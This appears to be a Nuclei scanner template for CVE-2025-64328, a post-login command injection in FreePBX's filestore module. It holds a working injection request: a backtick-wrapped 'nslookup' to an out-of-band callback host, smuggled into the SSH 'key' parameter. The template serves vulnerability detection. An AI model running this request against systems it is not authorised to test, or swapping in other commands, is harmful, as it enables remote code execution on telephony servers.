id: CVE-2025-64328

info:
  name: "Freepbx - Command Injection"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    FreePBX Endpoint Manager is a module for managing telephony endpoints in FreePBX systems. In versions
    17.0.2.36 and above before 17.0.3, the filestore module within the Administrative interface is vulnerable to a
    post-authentication command injection by an authenticated known user via the testconnection ->
    check_ssh_connect() function.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2025-64328&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=freepbx&match=exact
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
    cvss-score: 8.6
    cve-id: CVE-2025-64328
  metadata:
    verified: false
  tags: cve,cve2025,freepbx,rce,oast,authenticated,vuln,kev,vkev
variables:
  username: "{{username}}"
  password: "{{password}}"
  cmd: "nslookup {{interactsh-url}}"
  prefix: "{{rand_text_alpha(5)}}"

flow: http(1) && http(2)


http:
  - method: POST
    path:
      - "{{BaseURL}}/admin/config.php"
    headers:
      Content-Type: application/x-www-form-urlencoded
    body: "username={{username}}&password={{password}}"

    matchers:
      - type: word
        part: body
        words:
          - 'FreePBX Administration'
          - 'Hello, {{username}}'
        condition: and
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/admin/ajax.php?module=filestore&command=testconnection&driver=SSH&host=127.0.0.1&user={{prefix}}&port=22&key={{prefix}}`{{cmd}}`&path={{prefix}}"
    headers:
      Referer: "{{BaseURL}}"

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"
          - "http"